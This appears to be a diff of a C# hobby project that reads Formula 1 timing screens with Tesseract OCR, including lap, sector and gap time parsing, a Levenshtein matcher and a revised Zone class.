    +        /// This method is used to recover a time from a PNG using Tesseract OCR
    +        /// </summary>
    +        /// <param name="windowImage">The image where the text is</param>
    +        /// <param name="windowType">The type of window it is</param>
    +        /// <param name="Engine">The Tesseract Engine</param>
    +        /// <returns>The time in milliseconds</returns>
    +        public static int GetTimeFromPng(Bitmap image, OcrImage.WindowType windowType, TesseractEngine Engine)
    +        {
    +            //Kind of a big method but it has a lot of error handling and has to work with three special cases
    +            string rawResult = "";
    +            int result = 0;
    +
    +            //Debug
    +            int salt = rnd.Next(0, 999999);
    +
    +            switch (windowType)
    +            {
    +                case OcrImage.WindowType.Sector:
    +                    //The usual sector is in this form : 33.456
    +                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
    +                    break;
    +                case OcrImage.WindowType.LapTime:
    +                    //The usual Lap time is in this form : 1:45:345
    +                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
    +                    break;
    +                case OcrImage.WindowType.Gap:
    +                    //The usual Gap is in this form : + 34.567
    +                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
    +                    break;
    +                default:
    +                    Engine.SetVariable("tessedit_char_whitelist", "");
    +                    break;
    +            }
    +
    +
    +            Bitmap enhancedImage = new OcrImage(image).Enhance(windowType);
    +
    +            var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
    +
    +            Page page = Engine.Process(tessImage);
    +            Graphics g = Graphics.FromImage(enhancedImage);
    +            // Get the iterator for the page layout
    +            using (var iter = page.GetIterator())
    +            {
    +                // Loop over the elements of the page layout
    +                iter.Begin();
    +                do
    +                {
    +                    // Get the text for the current element
    +                    try
    +                    {
    +                        rawResult += iter.GetText(PageIteratorLevel.Word);
    +                    }
    +                    catch
    +                    {
    +                        //nothing we just dont add it if its not a number
    +                    }
    +                } while (iter.Next(PageIteratorLevel.Word));
    +            }
    +
    +            List<string> rawNumbers;
    +
    +            //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
    +            if (windowType == OcrImage.WindowType.Gap)
    +                rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
    +
    +            //Splits into minuts seconds miliseconds
    +            rawNumbers = rawResult.Split('.', ':').ToList<string>();
    +            //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
    +            rawNumbers.RemoveAll(x => ((string)x) == "");
    +
    +            int minuts = 0;
    +            int seconds = 0;
    +            int miliseconds = 0;
    +            switch (windowType)
    +            {
    +                case OcrImage.WindowType.Sector:
    +                    //Usually there is supposed to be only 2 parts. 
    +                    if (rawNumbers.Count == 2)
    +                    {
    +                        //The perect case
    +                        try
    +                        {
    +                            seconds = Convert.ToInt32(rawNumbers[0].ToString());
    +                            miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
    +                        }
    +                        catch
    +                        {
    +                            Console.WriteLine("Sector time convertion failed");
    +                        }
    +                    }
    +                    else
    +                    {
    +                        if (rawNumbers.Count == 1)
    +                        {
    +                            //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number
    +
    +                            if (rawNumbers[0].Length == 6)
    +                            {
    +                                //The '.' has been understood as a number
    +                                try
    +                                {
    +                                    seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
    +                                    miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
    +                                }
    +                                catch
    +                                {
    +                                    Console.WriteLine("Sector time convertion failed");
    +                                }
    +                            }
    +                            else
    +                            {
    +                                if (rawNumbers[0].Length == 5)
    +                                {
    +                                    //The '.' has been overlooked
    +                                    try
    +                                    {
    +                                        seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
    +                                        miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
    +                                    }
    +                                    catch
    +                                    {
    +                                        Console.WriteLine("Sector time convertion failed");
    +                                    }
    +                                }
    +                                else
    +                                {
    +                                    Console.WriteLine("Sector time convertion failed");
    +                                }
    +                            }
    +                        }
    +                        else
    +                        {
    +                            //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong
    +                            Console.WriteLine("Sector time convertion failed");
    +                        }
    +                    }
    +
    +                    result = 0;
    +                    result += seconds * 1000;
    +                    result += miliseconds;
    +                    break;
    +                case OcrImage.WindowType.LapTime:
    +
    +                    if (rawNumbers.Count == 3)
    +                    {
    +                        //The normal way
    +                        try
    +                        {
    +                            minuts = Convert.ToInt32(rawNumbers[0].ToString());
    +                            seconds = Convert.ToInt32(rawNumbers[1].ToString());
    +                            miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
    +                        }
    +                        catch
    +                        {
    +                            Console.WriteLine("Lap time convertion failed");
    +                        }
    +                    }
    +                    else
    +                    {
    +                        if (rawNumbers.Count == 2)
    +                        {
    +                            //Either the ':' or the '.' has been missinterpreted
    +                            if (rawNumbers[0].Length > rawNumbers[1].Length)
    +                            {
    +                                //The ':' has been missinterpreted
    +                                if (rawNumbers[0].Length == 3)
    +                                {
    +                                    //It has been forgotten
    +                                    try
    +                                    {
    +                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                        seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
    +                                        miliseconds = Convert.ToInt32(rawNumbers[1]);
    +                                    }
    +                                    catch
    +                                    {
    +                                        Console.WriteLine("Lap time convertion failed");
    +                                    }
    +
    +                                }
    +                                else
    +                                {
    +                                    if (rawNumbers[0].Length == 4)
    +                                    {
    +                                        //I has been translated into an other number
    +                                        try
    +                                        {
    +                                            minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                            seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    +                                            miliseconds = Convert.ToInt32(rawNumbers[1]);
    +                                        }
    +                                        catch
    +                                        {
    +                                            Console.WriteLine("Lap time convertion failed");
    +                                        }
    +                                    }
    +                                    else
    +                                    {
    +                                        //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE)
    +                                        Console.WriteLine("Lap time convertion failed");
    +                                    }
    +                                }
    +                            }
    +                            else
    +                            {
    +                                //The '.' has been missinterpreted
    +                                if (rawNumbers[1].Length == 5)
    +                                {
    +                                    //It has been forgotten
    +                                    minuts = Convert.ToInt32(rawNumbers[0].ToString());
    +                                    seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
    +                                    miliseconds = Convert.ToInt32(rawNumbers[1][2].ToString() + rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString());
    +                                }
    +                                else
    +                                {
    +                                    if (rawNumbers[1].Length == 6)
    +                                    {
    +                                        try
    +                                        {
    +                                            //It has been interpreted as a number
    +                                            minuts = Convert.ToInt32(rawNumbers[0].ToString());
    +                                            seconds = Convert.ToInt32(rawNumbers[1][0].ToString() + rawNumbers[1][1].ToString());
    +                                            miliseconds = Convert.ToInt32(rawNumbers[1][3].ToString() + rawNumbers[1][4].ToString() + rawNumbers[1][5].ToString());
    +                                        }
    +                                        catch
    +                                        {
    +                                            //It can happen and to be honest I dont know how to fix it
    +                                        }
    +                                    }
    +                                    else
    +                                    {
    +                                        Console.WriteLine("Lap time convertion failed");
    +                                    }
    +                                }
    +                            }
    +                        }
    +                        else
    +                        {
    +                            if (rawNumbers.Count == 1)
    +                            {
    +                                //Both the '.' and the ':' have been missinterpreted
    +                                if (rawNumbers[0].Length == 6)
    +                                {
    +                                    //The just all have been forgotten
    +                                    try
    +                                    {
    +                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                        seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
    +                                        miliseconds = Convert.ToInt32(rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString());
    +                                    }
    +                                    catch
    +                                    {
    +                                        Console.WriteLine("Lap time convertion failed");
    +                                    }
    +                                }
    +                                else
    +                                {
    +                                    if (rawNumbers[0].Length == 7)
    +                                    {
    +                                        //The '.' or ':' have been interpreted as a number (usually the ':')
    +                                        try
    +                                        {
    +                                            minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                            seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    +                                            miliseconds = Convert.ToInt32(rawNumbers[0][4].ToString() + rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString());
    +                                        }
    +                                        catch
    +                                        {
    +                                            Console.WriteLine("Lap time convertion failed");
    +                                        }
    +                                    }
    +                                    else
    +                                    {
    +                                        if (rawNumbers[0].Length == 8)
    +                                        {
    +                                            //Both have been interpreted as a number
    +                                            try
    +                                            {
    +                                                minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                                seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    +                                                miliseconds = Convert.ToInt32(rawNumbers[0][5].ToString() + rawNumbers[0][6].ToString() + rawNumbers[0][7].ToString());
    +                                            }
    +                                            catch
    +                                            {
    +                                                Console.WriteLine("Lap time convertion failed");
    +                                            }
    +                                        }
    +                                        else
    +                                        {
    +                                            //I dont know what could have happened
    +                                            Console.WriteLine("Lap time convertion failed");
    +                                        }
    +                                    }
    +                                }
    +                            }
    +                            else
    +                            {
    +                                //I dont know what could have happened
    +                                Console.WriteLine("Lap time convertion failed");
    +                            }
    +                        }
    +                    }
    +
    +                    result = 0;
    +                    result += minuts * 60 * 1000;
    +                    result += seconds * 1000;
    +                    result += miliseconds;
    +                    break;
    +                case OcrImage.WindowType.Gap:
    +                    if (rawNumbers.Count == 2)
    +                    {
    +                        // This should be the x.xxx or a missed x:xx.xxx
    +                        if (rawNumbers[0].Length > 2)
    +                        {
    +                            //Its a missed x:xx.xxx
    +                            if (rawNumbers[0].Length == 3)
    +                            {
    +                                //It forgot the ":"
    +                                try
    +                                {
    +                                    minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                    seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
    +                                    miliseconds = Convert.ToInt32(rawNumbers[1]);
    +                                }
    +                                catch
    +                                {
    +                                    Console.WriteLine("Gap to leader convertion failed");
    +                                }
    +                            }
    +                            else
    +                            {
    +                                //The ":" has been mistaken as a number
    +                                if (rawNumbers[0].Length == 4)
    +                                {
    +                                    try
    +                                    {
    +                                        minuts = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                        seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    +                                        miliseconds = Convert.ToInt32(rawNumbers[1]);
    +                                    }
    +                                    catch
    +                                    {
    +                                        Console.WriteLine("Gap to leader convertion failed");
    +                                    }
    +                                }
    +                                else
    +                                {
    +                                    Console.WriteLine("Gap to leader convertion failed");
    +                                }
    +                            }
    +
    +                        }
    +                        else
    +                        {
    +                            //It should be a normal x.xxx or xx.xxx
    +                            try
    +                            {
    +                                seconds = Convert.ToInt32(rawNumbers[0].ToString());
    +                                miliseconds = Convert.ToInt32(rawNumbers[1].ToString());
    +                            }
    +                            catch
    +                            {
    +                                Console.WriteLine("Gap to leader convertion failed");
    +                            }
    +                        }
    +                    }
    +                    else
    +                    {
    +                        if (rawNumbers.Count == 1)
    +                        {
    +                            //can be anything depending on the size of the string
    +                            if (rawNumbers[0].Length == 4)
    +                            {
    +                                //We just missed the '.'
    +                                try
    +                                {
    +                                    seconds = Convert.ToInt32(rawNumbers[0][0].ToString());
    +                                    miliseconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    +                                }
    +                                catch
    +                                {
    +                                    Console.WriteLine("Gap to leader convertion failed");
    +                                }
    +                            }
    +                            else
    +                            {
    +                                if (rawNumbers[0].Length == 5)
    +                                {
    +                                    //We just missed the '.'
    +                                    try
    +                                    {
    +                                        seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
    +                                        miliseconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString() + rawNumbers[0][4].ToString());
    +                                    }
    +                                    catch
    +                                    {
    +                                        Console.WriteLine("Gap to leader convertion failed");
    +                                    }
    +                                }
    +                                //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error
    +                                Console.WriteLine("Gap to leader convertion failed");
    +                            }
    +                        }
    +                        else
    +                        {
    +                            if (rawNumbers.Count == 3)
    +                            {
    +                                // This should be the x:xx.xxx
    +                                try
    +                                {
    +                                    //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number
    +                                    if (rawNumbers[0].Length > 1)
    +                                        rawNumbers[0] = rawNumbers[0][rawNumbers[0].Length - 1].ToString();
    +
    +                                    minuts = Convert.ToInt32(rawNumbers[0].ToString());
    +                                    seconds = Convert.ToInt32(rawNumbers[1].ToString());
    +                                    miliseconds = Convert.ToInt32(rawNumbers[2].ToString());
    +                                }
    +                                catch
    +                                {
    +                                    Console.WriteLine("Gap to leader convertion failed");
    +                                }
    +                            }
    +                        }
    +                    }
    +                    result = 0;
    +                    result += minuts * 60 * 1000;
    +                    result += seconds * 1000;
    +                    result += miliseconds;
    +                    break;
    +                default:
    +                    try
    +                    {
    +                        result = Convert.ToInt32(rawNumbers[0].ToString());
    +                    }
    +                    catch
    +                    {
    +                        result = 0;
    +                    }
    +                    break;
    +            }
    +
    +            page.Dispose();
    +            return result;
    +        }
    +        /// <summary>
    +        /// Method that recovers strings from an image using Tesseract OCR
    +        /// </summary>
    +        /// <param name="WindowImage">The image of the window that contains text</param>
    +        /// <param name="Engine">The Tesseract engine</param>
    +        /// <param name="allowedChars">The list of allowed chars</param>
    +        /// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
    +        /// <returns>the string it found</returns>
    +        public static string GetStringFromPng(Bitmap image, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
    +        {
    +            string result = "";
    +
    +            //Debug
    +            int salt = rnd.Next(0, 999999);
    +
    +            Engine.SetVariable("tessedit_char_whitelist", allowedChars);
    +
    +            Bitmap rawData = image;
    +            Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
    +
    +            Page page = Engine.Process(enhancedImage);
    +            using (var iter = page.GetIterator())
    +            {
    +                iter.Begin();
    +                do
    +                {
    +                    result += iter.GetText(PageIteratorLevel.Word);
    +                } while (iter.Next(PageIteratorLevel.Word));
    +            }
    +            page.Dispose();
    +            return result;
    +        }
    +        /// <summary>
    +        /// Get a smaller image from a bigger one
    +        /// </summary>
    +        /// <param name="inputBitmap">The big bitmap you want to get a part of</param>
    +        /// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
    +        /// <returns>The little bitmap</returns>
    +        protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
    +        {
    +            Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
    +            Graphics g = Graphics.FromImage(sample);
    +            g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
    +            return sample;
    +        }
    +        /// <summary>
    +        /// Returns the closest string from a list of options
    +        /// </summary>
    +        /// <param name="options">an array of all the possibilities</param>
    +        /// <param name="testString">the string you want to compare</param>
    +        /// <returns>The closest option</returns>
    +        protected static string FindClosestMatch(List<string> options, string testString)
    +        {
    +            var closestMatch = "";
    +            var closestDistance = int.MaxValue;
    +
    +            foreach (var item in options)
    +            {
    +                var distance = LevenshteinDistance(item, testString);
    +                if (distance < closestDistance)
    +                {
    +                    closestMatch = item;
    +                    closestDistance = distance;
    +                }
    +            }
    +            return closestMatch;
    +        }
    +        //This method has been generated with the help of ChatGPT
    +        /// <summary>
    +        /// Method that computes a score of distance between two strings
    +        /// </summary>
    +        /// <param name="string1">The first string (order irrelevant)</param>
    +        /// <param name="string2">The second string (order irrelevant)</param>
    +        /// <returns>The levenshtein distance</returns>
    +        protected static int LevenshteinDistance(string string1, string string2)
    +        {
    +            if (string.IsNullOrEmpty(string1))
    +            {
    +                return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
    +            }
    +
    +            if (string.IsNullOrEmpty(string2))
    +            {
    +                return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
    +            }
    +
    +            var d = new int[string1.Length + 1, string2.Length + 1];
    +            for (var i = 0; i <= string1.Length; i++)
    +            {
    +                d[i, 0] = i;
    +            }
    +
    +            for (var j = 0; j <= string2.Length; j++)
    +            {
    +                d[0, j] = j;
    +            }
    +
    +            for (var i = 1; i <= string1.Length; i++)
    +            {
    +                for (var j = 1; j <= string2.Length; j++)
    +                {
    +                    var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
    +                    d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
    +                }
    +            }
    +
    +            return d[string1.Length, string2.Length];
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,252 +254,199 @@

    Zone.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : Zone.cs
    -/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Drawing;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -
    -namespace Test_Merge
    -{
    -    public class Zone
    -    {
    -        private Rectangle _bounds;
    -        private List<Zone> _zones;
    -        private List<Window> _windows;
    -        private Bitmap _image;
    -        private string _name;
    -
    -        public Bitmap ZoneImage
    -        {
    -            get
    -            {
    -                //This little trickery lets you have the image that the zone sees
    -                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    -                Graphics g = Graphics.FromImage(sample);
    -                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    -                return sample;
    -            }
    -        }
    -        public Bitmap Image
    -        {
    -            get { return _image; }
    -            set
    -            {
    -                //It automatically sets the image for the contained windows and zones
    -                _image = Image;
    -                foreach (Window w in Windows)
    -                {
    -                    w.Image = ZoneImage;
    -                }
    -                foreach (Zone z in Zones)
    -                {
    -                    z.Image = Image;
    -                }
    -            }
    -        }
    -
    -        public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
    -        public List<Zone> Zones { get => _zones; protected set => _zones = value; }
    -        public List<Window> Windows { get => _windows; protected set => _windows = value; }
    -        public string Name { get => _name; protected set => _name = value; }
    -
    -        public Zone(Bitmap image, Rectangle bounds, string name)
    -        {
    -            Windows = new List<Window>();
    -            Zones = new List<Zone>();
    -            Name = name;
    -
    -            //You cant set the image in the CTOR because the processing is impossible at first initiation
    -            _image = image;
    -            Bounds = bounds;
    -        }
    -        /// <summary>
    -        /// Adds a zone to the list of zones
    -        /// </summary>
    -        /// <param name="zone">The zone you want to add</param>
    -        public virtual void AddZone(Zone zone)
    -        {
    -            Zones.Add(zone);
    -        }
    -        /// <summary>
    -        /// Add a window to the list of windows
    -        /// </summary>
    -        /// <param name="window">the window you want to add</param>
    -        public virtual void AddWindow(Window window)
    -        {
    -            Windows.Add(window);
    -        }
    -        /// <summary>
    -        /// Calls all the windows to do OCR and to give back the results so we can send them to the model
    -        /// </summary>
    -        /// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
    -        /// <returns>A driver data object that contains all the infos about a driver</returns>
    -        public virtual async Task<DriverData> Decode(List<string> driverList)
    -        {
    -            int sectorCount = 0;
    -            DriverData result = new DriverData();
    -            Parallel.ForEach(Windows, async w =>
    -            {
    -                // A switch would be prettier but I dont think its supported in this C# version
    -                if (w is DriverNameWindow)
    -                    result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
    -                if (w is DriverDrsWindow)
    -                    result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
    -                if (w is DriverGapToLeaderWindow)
    -                    result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
    -                if (w is DriverLapTimeWindow)
    -                    result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
    -                if (w is DriverPositionWindow)
    -                    result.Position = (int)await (w as DriverPositionWindow).DecodePng();
    -                if (w is DriverSectorWindow)
    -                {
    -                    sectorCount++;
    -                    if (sectorCount == 1)
    -                        result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
    -                    if (sectorCount == 2)
    -                        result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
    -                    if (sectorCount == 3)
    -                        result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
    -                }
    -                if (w is DriverTyresWindow)
    -                    result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
    -            });
    -            return result;
    -        }
    -        public virtual Bitmap Draw()
    -        {
    -            Bitmap img;
    -
    -            //If its the main zone we want to see everything
    -            if (Zones.Count > 0)
    -            {
    -                img = Image;
    -            }
    -            else
    -            {
    -                img = ZoneImage;
    -            }
    -
    -            Graphics g = Graphics.FromImage(img);
    -
    -            //If its the main zone we need to visualize the Zone bounds displayed
    -            if (Zones.Count > 0)
    -                g.DrawRectangle(new Pen(Brushes.Violet, 5), Bounds);
    -
    -            foreach (Zone z in Zones)
    -            {
    -                Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
    -                g.DrawRectangle(Pens.Red, newBounds);
    -            }
    -            foreach (Window w in Windows)
    -            {
    -                g.DrawRectangle(Pens.Blue, w.Bounds);
    -            }
    -            return img;
    -        }
    -        public void ResetZones()
    -        {
    -            Zones.Clear();
    -        }
    -        public void ResetWindows()
    -        {
    -            foreach (Zone z in Zones)
    -            {
    -                z.ResetWindows();
    -            }
    -            Windows.Clear();
    -        }
    -        public virtual string ToJSON()
    -        {
    -            string result = "";
    -            result += "\"" + Name + "\":{" + Environment.NewLine;
    -            result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
    -            result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
    -            result += "\t" + "\"width\":" + Bounds.Width + "," + Environment.NewLine;
    -            result += "\t" + "\"height\":" + Bounds.Height;
    -
    -            if (Windows.Count != 0)
    -            {
    -                result += "," + Environment.NewLine;
    -
    -                result += "\t" + "\"Windows\":[" + Environment.NewLine;
    -                result += "\t\t{" + Environment.NewLine;
    -                int Wcount = 0;
    -                foreach (Window w in Windows)
    -                {
    -                    result += "\t\t" + w.ToJSON();
    -                    Wcount++;
    -                    if (Wcount != Windows.Count)
    -                        result += ",";
    -                }
    -                result += "\t\t}" + Environment.NewLine;
    -                result += "\t" + "]" + Environment.NewLine;
    -            }
    -            else
    -            {
    -                result += Environment.NewLine;
    -            }
    -            if (Zones.Count != 0)
    -            {
    -                result += "," + Environment.NewLine;
    -
    -                result += "\t" + "\"Zones\":[" + Environment.NewLine;
    -                result += "\t\t{" + Environment.NewLine;
    -                int Zcount = 0;
    -                //foreach (Zone z in Zones)
    -                //{ 
    -                result += "\t\t" + Zones[0].ToJSON();
    -                Zcount++;
    -                if (Zcount != Zones.Count)
    -                    //result += ",";
    -                    //}
    -                    result += "\t\t}" + Environment.NewLine;
    -                result += "\t" + "]" + Environment.NewLine;
    -            }
    -            else
    -            {
    -                result += Environment.NewLine;
    -            }
    -
    -            result += "}";
    -
    -            return result;
    -        }
    -        /// <summary>
    -        /// Checks if the given Rectangle fits in the current zone
    -        /// </summary>
    -        /// <param name="InputRectangle">The Rectangle you want to check the fittment</param>
    -        /// <returns></returns>
    -        protected bool Fits(Rectangle inputRectangle)
    -        {
    -            if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0)
    -            {
    -                return false;
    -            }
    -            else
    -            {
    -                return true;
    -            }
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : Zone.cs
    +/// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited.
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Drawing;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +
    +namespace TrackTrends
    +{
    +    public class Zone
    +    {
    +        private Rectangle _bounds;
    +        private List<Zone> _zones;
    +        private List<Window> _windows;
    +        private Bitmap _image;
    +        private string _name;
    +
    +        public Bitmap ZoneImage
    +        {
    +            get
    +            {
    +                //This little trickery lets you have the image that the zone sees
    +                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    +                Graphics g = Graphics.FromImage(sample);
    +                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    +                return sample;
    +            }
    +        }
    +        public Bitmap Image
    +        {
    +            get { return _image; }
    +            set
    +            {
    +                //It automatically sets the image for the contained windows and zones
    +                _image = value;
    +                foreach (Window w in Windows)
    +                {
    +                    w.Image = ZoneImage;
    +                }
    +                foreach (Zone z in Zones)
    +                {
    +                    z.Image = Image;
    +                }
    +            }
    +        }
    +        public Rectangle Bounds { get => _bounds; protected set => _bounds = value; }
    +        public List<Zone> Zones { get => _zones; protected set => _zones = value; }
    +        public List<Window> Windows { get => _windows; protected set => _windows = value; }
    +        public string Name { get => _name; protected set => _name = value; }
    +        /// <summary>
    +        /// Creates a new Zone
    +        /// </summary>
    +        /// <param name="image">Image of the parent zone</param>
    +        /// <param name="bounds">The position and size of the zone</param>
    +        /// <param name="name">THe name of the zone (usefull for the JSON formatting)</param>
    +        public Zone(Bitmap image, Rectangle bounds, string name)
    +        {
    +            Windows = new List<Window>();
    +            Zones = new List<Zone>();
    +            Name = name;
    +
    +            //You cant set the image in the CTOR because the processing is impossible at first initiation
    +            _image = image;
    +            Bounds = bounds;
    +        }
    +        /// <summary>
    +        /// Adds a zone to the list of zones
    +        /// </summary>
    +        /// <param name="zone">The zone you want to add</param>
    +        public virtual void AddZone(Zone zone)
    +        {
    +            Zones.Add(zone);
    +        }
    +        /// <summary>
    +        /// Add a window to the list of windows
    +        /// </summary>
    +        /// <param name="window">the window you want to add</param>
    +        public virtual void AddWindow(Window window)
    +        {
    +            Windows.Add(window);
    +        }
    +        /// <summary>
    +        /// Calls all the windows to do OCR and to give back the results so we can send them to the model
    +        /// </summary>
    +        /// <param name="driverList">A list of all the driver in the race to help with text recognition</param>
    +        /// <returns>A driver data object that contains all the infos about a driver</returns>
    +        public virtual DriverData Decode(List<string> driverList)
    +        {
    +            int sectorCount = 0;
    +            DriverData result = new DriverData();
    +            foreach(Window w in Windows)
    +            {
    +                // A switch would be prettier but I dont think its supported in this C# version
    +                if (w is DriverNameWindow)
    +                    result.Name = (string)(w as DriverNameWindow).DecodePng(driverList);
    +                if (w is DriverDrsWindow)
    +                    result.DRS = (bool)(w as DriverDrsWindow).DecodePng();
    +                if (w is DriverGapToLeaderWindow)
    +                    result.GapToLeader = (int)(w as DriverGapToLeaderWindow).DecodePng();
    +                if (w is DriverLapTimeWindow)
    +                    result.LapTime = (int)(w as DriverLapTimeWindow).DecodePng();
    +                if (w is DriverPositionWindow)
    +                    result.Position = (int)(w as DriverPositionWindow).DecodePng();
    +                if (w is DriverSectorWindow)
    +                {
    +                    sectorCount++;
    +                    if (sectorCount == 1)
    +                        result.Sector1 = (int)(w as DriverSectorWindow).DecodePng();
    +                    if (sectorCount == 2)
    +                        result.Sector2 = (int)(w as DriverSectorWindow).DecodePng();
    +                    if (sectorCount == 3)
    +                        result.Sector3 = (int)(w as DriverSectorWindow).DecodePng();
    +                }
    +                if (w is DriverTyresWindow)
    +                    result.CurrentTyre = (Tyre)(w as DriverTyresWindow).DecodePng();
    +            }
    +            return result;
    +        }
    +        public virtual Bitmap Draw()
    +        {
    +            Bitmap img;
    +
    +            //If its the main zone we want to see everything
    +            if (Zones.Count > 0)
    +            {
    +                img = Image;
    +            }
    +            else
    +            {
    +                img = ZoneImage;
    +            }
    +
    +            Graphics g = Graphics.FromImage(img);
    +
    +            //If its the main zone we need to visualize the Zone bounds displayed
    +            if (Zones.Count > 0)
    +                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249,194,46)), 5), Bounds);
    +
    +            foreach (Zone z in Zones)
    +            {
    +                Rectangle newBounds = new Rectangle(z.Bounds.X, z.Bounds.Y + Bounds.Y, z.Bounds.Width, z.Bounds.Height);
    +                g.DrawRectangle(new Pen(new SolidBrush(Color.FromArgb(249, 194, 46)), 5), newBounds);
    +            }
    +            foreach (Window w in Windows)
    +            {
